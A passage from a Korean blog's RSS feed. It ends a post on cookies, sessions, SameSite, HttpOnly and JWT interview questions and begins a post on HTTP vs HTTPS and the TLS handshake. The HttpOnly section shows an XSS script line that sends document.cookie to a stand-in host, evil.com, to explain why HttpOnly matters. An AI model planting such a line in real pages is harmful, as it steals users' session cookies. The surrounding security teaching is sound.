&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tools.ietf.org/html/rfc6265&quot;&gt;RFC 6265 - HTTP State Management Mechanism (Cookies)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies&quot;&gt;MDN Web Docs - HTTP Cookies&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html&quot;&gt;OWASP - Session Management&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;예상 꼬리질문 정리&lt;/h3&gt;
&lt;h4&gt;1. 쿠키와 세션을 함께 사용하는 경우는?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;일반적인 패턴:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;세션 ID를 쿠키에 저장&lt;/li&gt;
&lt;li&gt;실제 사용자 정보는 서버 세션에 저장&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;서버가 세션 생성
  → 세션 ID: &amp;quot;sess_abc123&amp;quot;
  → 세션에 저장: {userId: 1, username: &amp;quot;user1&amp;quot;}

쿠키에 세션 ID 저장
  Set-Cookie: sessionId=sess_abc123; HttpOnly; Secure

클라이언트는 세션 ID만 가지고 있음
서버는 세션 ID로 사용자 정보 조회&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;장점:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;보안성: 실제 데이터는 서버에만 저장&lt;/li&gt;
&lt;li&gt;효율성: 쿠키는 작은 세션 ID만 저장&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2. 쿠키 없이 세션을 사용할 수 있나?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;가능하지만 비효율적:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;URL 파라미터로 세션 ID 전달&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /profile?sessionId=abc123&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;문제점: URL에 노출, 브라우저 히스토리에 저장, 공유 시 세션 ID 노출&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Hidden Form Field&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sessionId&amp;quot; value=&amp;quot;abc123&amp;quot;&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;문제점: 모든 폼에 포함 필요, 복잡함&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Authorization 헤더&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Authorization: Session abc123&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;문제점: 브라우저가 자동으로 포함하지 않음, 수동 설정 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;결론:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;쿠키가 가장 편리하고 안전한 방법&lt;/li&gt;
&lt;li&gt;HttpOnly, Secure 속성으로 보안 강화&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3. 세션을 서버 메모리에 저장하면 어떤 문제가 있나?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;문제점:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;서버 재시작 시 세션 손실&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;서버 재시작 → 메모리 초기화 → 모든 세션 삭제
→ 사용자가 다시 로그인해야 함&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;서버 확장 시 세션 공유 불가&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;서버 1: 세션 A 저장
서버 2: 세션 A 없음
→ 로드 밸런서가 서버 2로 요청 라우팅
→ 세션을 찾을 수 없음&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;메모리 부족&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;많은 사용자 → 많은 세션 → 메모리 부족
→ 서버 다운 가능&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;해결 방법:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Redis 같은 외부 저장소 사용&lt;/li&gt;
&lt;li&gt;세션 클러스터링&lt;/li&gt;
&lt;li&gt;Sticky Session (같은 서버로 라우팅)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;4. 쿠키의 SameSite 속성은 어떻게 동작하나?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;SameSite=Strict:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;example.com에서만 쿠키 전송
다른 사이트에서 example.com으로 요청 시 쿠키 전송 안 함

예시:
- example.com → example.com: 쿠키 전송 ✅
- evil.com → example.com: 쿠키 전송 안 함 ❌&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;SameSite=Lax (기본값):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET 요청은 외부에서도 쿠키 전송
POST 요청은 같은 사이트에서만 쿠키 전송

예시:
- evil.com → example.com (GET): 쿠키 전송 ✅
- evil.com → example.com (POST): 쿠키 전송 안 함 ❌&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;SameSite=None:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;모든 요청에서 쿠키 전송
Secure 속성과 함께 사용해야 함

예시:
- 모든 사이트에서 쿠키 전송 ✅
- Secure 필수 (HTTPS만)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;CSRF 공격 방지:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SameSite=Strict 또는 Lax 사용&lt;/li&gt;
&lt;li&gt;외부 사이트에서의 요청 시 쿠키 전송 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;5. 세션과 JWT 토큰의 차이는?&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;구분&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;세션&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;JWT 토큰&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;저장 위치&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;서버&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;클라이언트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;상태 관리&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Stateful (서버가 상태 유지)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Stateless (서버는 상태 없음)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;확장성&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;제한적 (서버 메모리/DB 의존)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;좋음 (서버 확장 용이)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;즉시 무효화&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;가능 (세션 삭제)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;어려움 (토큰 만료까지 유효)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;데이터 크기&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;제한 없음&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;제한적 (토큰 크기 증가)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;보안&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;높음 (서버 제어 가능)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;중간 (토큰 탈취 위험)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;세션:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;서버에 사용자 정보 저장&lt;/li&gt;
&lt;li&gt;세션 ID만 클라이언트에 전달&lt;/li&gt;
&lt;li&gt;서버에서 즉시 무효화 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;JWT:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;사용자 정보를 토큰에 포함&lt;/li&gt;
&lt;li&gt;클라이언트가 토큰 보관&lt;/li&gt;
&lt;li&gt;서버 확장 용이&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;자세한 내용은 [[세션 로그인 vs JWT 토큰 로그인]]을 참고하세요.&lt;/p&gt;
&lt;h4&gt;6. 쿠키의 HttpOnly 속성은 왜 중요한가?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;HttpOnly 없을 때:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// JavaScript로 쿠키 접근 가능
document.cookie  // &amp;quot;sessionId=abc123; theme=dark&amp;quot;

// XSS 공격 시 쿠키 탈취 가능
&amp;lt;script&amp;gt;
  // 악성 스크립트
  fetch(&amp;#39;http://evil.com/steal?cookie=&amp;#39; + document.cookie);
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;HttpOnly 사용 시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// JavaScript로 쿠키 접근 불가
document.cookie  // HttpOnly 쿠키는 보이지 않음

// XSS 공격 시에도 쿠키 탈취 불가&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;보안 효과:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;XSS 공격으로부터 쿠키 보호&lt;/li&gt;
&lt;li&gt;세션 ID 같은 민감한 정보 보호&lt;/li&gt;
&lt;li&gt;JavaScript 접근 완전 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;권장:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;세션 ID는 반드시 HttpOnly 사용&lt;/li&gt;
&lt;li&gt;민감한 정보는 HttpOnly 쿠키 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;7. 세션 만료 시간은 어떻게 설정하나?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;적절한 만료 시간 설정:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;활성 시간 기반 (Idle Timeout)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;마지막 요청 후 30분 경과 → 세션 만료&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;사용자가 활동하지 않으면 세션 만료&lt;/li&gt;
&lt;li&gt;보안성 높음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;절대 시간 기반 (Absolute Timeout)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;로그인 후 24시간 경과 → 세션 만료&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;로그인 시간 기준으로 만료&lt;/li&gt;
&lt;li&gt;일정 시간 후 강제 만료&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;하이브리드 방식&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;활성 시간: 30분
절대 시간: 24시간
→ 둘 중 하나라도 만료되면 세션 만료&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;설정 예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// Spring Boot
server.servlet.session.timeout=30m  // 30분
server.servlet.session.cookie.max-age=1800  // 30분 (초)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;권장:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;일반 사용자: 30분 ~ 1시간&lt;/li&gt;
&lt;li&gt;관리자: 15분 ~ 30분&lt;/li&gt;
&lt;li&gt;금융 서비스: 5분 ~ 15분&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;</description>
      <category>Network</category>
      <author>jaemeon</author>
      <guid isPermaLink="true">https://jaemeon.tistory.com/131</guid>
      <comments>https://jaemeon.tistory.com/131#entry131comment</comments>
      <pubDate>Mon, 26 Jan 2026 08:27:26 +0900</pubDate>
    </item>
    <item>
      <title>Network_05) 복수가 아닙니다... https</title>
      <link>https://jaemeon.tistory.com/130</link>
      <description>&lt;h2&gt;Topic (오늘의 주제)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;HTTP(HyperText Transfer Protocol)&lt;/strong&gt;와 &lt;strong&gt;HTTPS(HyperText Transfer Protocol Secure)&lt;/strong&gt;는 웹에서 데이터를 전송하는 프로토콜입니다. HTTPS는 HTTP에 SSL/TLS 암호화를 추가하여 데이터의 기밀성, 무결성, 인증을 보장하는 보안 강화 버전입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;Why (왜 사용하는가? 왜 중요한가?)&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;HTTP는 평문으로 데이터를 전송하므로 중간에 패킷을 가로채면 내용을 볼 수 있습니다. HTTPS는 SSL/TLS 암호화를 통해 데이터를 암호화하여 중간자 공격(MITM), 데이터 변조, 피싱 공격을 방지합니다. 특히 로그인, 결제, 개인정보 전송 시 HTTPS는 필수입니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;HTTP와 HTTPS의 차이점(암호화, 포트 번호, 인증서, 성능), SSL/TLS의 동작 원리, 인증서의 역할, 그리고 HTTPS의 보안 메커니즘을 이해해야 합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;1. HTTP (HyperText Transfer Protocol)란?&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;HTTP의 정의&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;HTTP(HyperText Transfer Protocol)&lt;/strong&gt;는 웹 브라우저와 웹 서버 간에 데이터를 주고받기 위한 애플리케이션 계층 프로토콜입니다.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;HTTP의 주요 특징&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;평문 전송 (Plain Text)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;데이터가 암호화되지 않은 상태로 전송&lt;/li&gt;
&lt;li&gt;중간에 패킷을 가로채면 내용을 볼 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;포트 번호: 80&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://example.com:80&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;상태 없음 (Stateless)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;각 요청은 독립적&lt;/li&gt;
&lt;li&gt;이전 요청 정보를 기억하지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;요청-응답 모델&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트 → 서버: 요청 (Request)
서버 → 클라이언트: 응답 (Response)&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;HTTP 요청/응답 예시&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;요청:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /index.html HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept: text/html&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;응답:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1234

&amp;lt;html&amp;gt;...&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;HTTP의 보안 문제점&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;도청 (Eavesdropping)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;네트워크에서 패킷을 가로채면 내용 확인 가능&lt;pre&gt;&lt;code&gt;클라이언트 → 서버: &amp;quot;비밀번호: 1234&amp;quot;
[공격자가 패킷 가로채기]
공격자: &amp;quot;비밀번호가 1234구나!&amp;quot;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;중간자 공격 (MITM - Man-In-The-Middle)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;공격자가 중간에서 통신을 가로채고 변조&lt;pre&gt;&lt;code&gt;클라이언트 → [공격자] → 서버
[공격자가 데이터를 변조하거나 가로챔]&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;데이터 변조 (Tampering)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;전송 중 데이터가 변조될 수 있음&lt;pre&gt;&lt;code&gt;원본: &amp;quot;송금: 1000원&amp;quot;
변조: &amp;quot;송금: 10000원&amp;quot;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;피싱 (Phishing)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;가짜 웹사이트로 사용자를 유도&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;2. HTTPS (HyperText Transfer Protocol Secure)란?&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;HTTPS의 정의&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;HTTPS(HyperText Transfer Protocol Secure)&lt;/strong&gt;는 HTTP에 &lt;strong&gt;SSL/TLS 암호화&lt;/strong&gt;를 추가한 보안 강화 버전입니다.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;HTTPS의 주요 특징&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;암호화 전송 (Encrypted)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;데이터가 암호화되어 전송&lt;/li&gt;
&lt;li&gt;중간에 패킷을 가로채도 내용을 볼 수 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;포트 번호: 443&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://example.com:443&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;인증서 기반 인증&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;서버의 신원을 확인&lt;/li&gt;
&lt;li&gt;가짜 서버 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;데이터 무결성 보장&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;전송 중 데이터 변조 감지&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;HTTPS의 보안 기능&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;기밀성 (Confidentiality)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;데이터 암호화로 내용 보호&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;무결성 (Integrity)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;데이터 변조 감지 및 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;인증 (Authentication)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;서버의 신원 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;3. HTTP vs HTTPS 비교&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;핵심 차이점&lt;/strong&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;구분&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;HTTP&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;HTTPS&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;프로토콜&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;HTTP&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;HTTP + SSL/TLS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;포트 번호&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;80&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;443&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;암호화&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;없음 (평문)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;있음 (암호화)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;인증서&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;불필요&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;필요 (CA 발급)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;보안&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;취약&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;강함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;속도&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;빠름&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;상대적으로 느림 (암호화/복호화 오버헤드)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;SEO&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;불리&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;유리 (검색 엔진이 HTTPS 우선)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;브라우저 표시&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;  (자물쇠 없음)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;  (자물쇠 표시)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;&lt;strong&gt;데이터 전송 비교&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;HTTP (평문 전송):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트                    서버
    |                         |
    |---- &amp;quot;비밀번호: 1234&amp;quot; ---&amp;gt;|  [평문으로 전송]
    |                         |
[공격자가 패킷 가로채기]
공격자: &amp;quot;비밀번호가 1234구나!&amp;quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;HTTPS (암호화 전송):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트                    서버
    |                         |
    |---- &amp;quot;a8f5f167f44f4...&amp;quot; --&amp;gt;|  [암호화된 데이터]
    |                         |
[공격자가 패킷 가로채기]
공격자: &amp;quot;무슨 내용인지 모르겠다...&amp;quot;&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;4. SSL/TLS란?&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;SSL/TLS의 정의&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;SSL(Secure Sockets Layer)&lt;/strong&gt;과 &lt;strong&gt;TLS(Transport Layer Security)&lt;/strong&gt;는 전송 계층에서 데이터를 암호화하는 프로토콜입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;역사:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SSL 1.0, 2.0, 3.0 (구식, 사용 안 함)&lt;/li&gt;
&lt;li&gt;TLS 1.0, 1.1 (사용 안 함, 보안 취약)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TLS 1.2, 1.3&lt;/strong&gt; (현재 사용)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;SSL/TLS의 역할&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;대칭 키 암호화&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;실제 데이터 전송 시 사용&lt;/li&gt;
&lt;li&gt;빠른 암호화/복호화&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;비대칭 키 암호화&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;대칭 키를 안전하게 교환하기 위해 사용&lt;/li&gt;
&lt;li&gt;공개키/개인키 쌍 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;인증서 검증&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;서버의 신원 확인&lt;/li&gt;
&lt;li&gt;CA(Certificate Authority)가 발급한 인증서 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;5. HTTPS의 동작 원리 (SSL/TLS Handshake)&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;전체 흐름&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;클라이언트                    서버
    |                         |
    |---- Client Hello ------&amp;gt;|  [1단계: 클라이언트가 지원하는 암호화 방식 전송]
    |                         |
    |&amp;lt;--- Server Hello -------|  [2단계: 서버가 선택한 암호화 방식 전송]
    |    Certificate          |  [3단계: 서버 인증서 전송]
    |    Server Hello Done    |
    |                         |
    |---- Client Key Exchange-&amp;gt;|  [4단계: 대칭 키 전송 (서버 공개키로 암호화)]
    |    Change Cipher Spec   |  [5단계: 암호화 시작 알림]
    |    Finished             |
    |                         |
    |&amp;lt;--- Change Cipher Spec --|  [6단계: 서버도 암호화 시작]
    |    Finished             |
    |                         |
  [암호화된 통신 시작]
    |                         |
    |&amp;lt;==== 암호화된 데이터 ====&amp;gt;|  [7단계: 실제 데이터 전송]
    |                         |&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;1단계: Client Hello&lt;/strong&gt;&lt;/h3&gt;
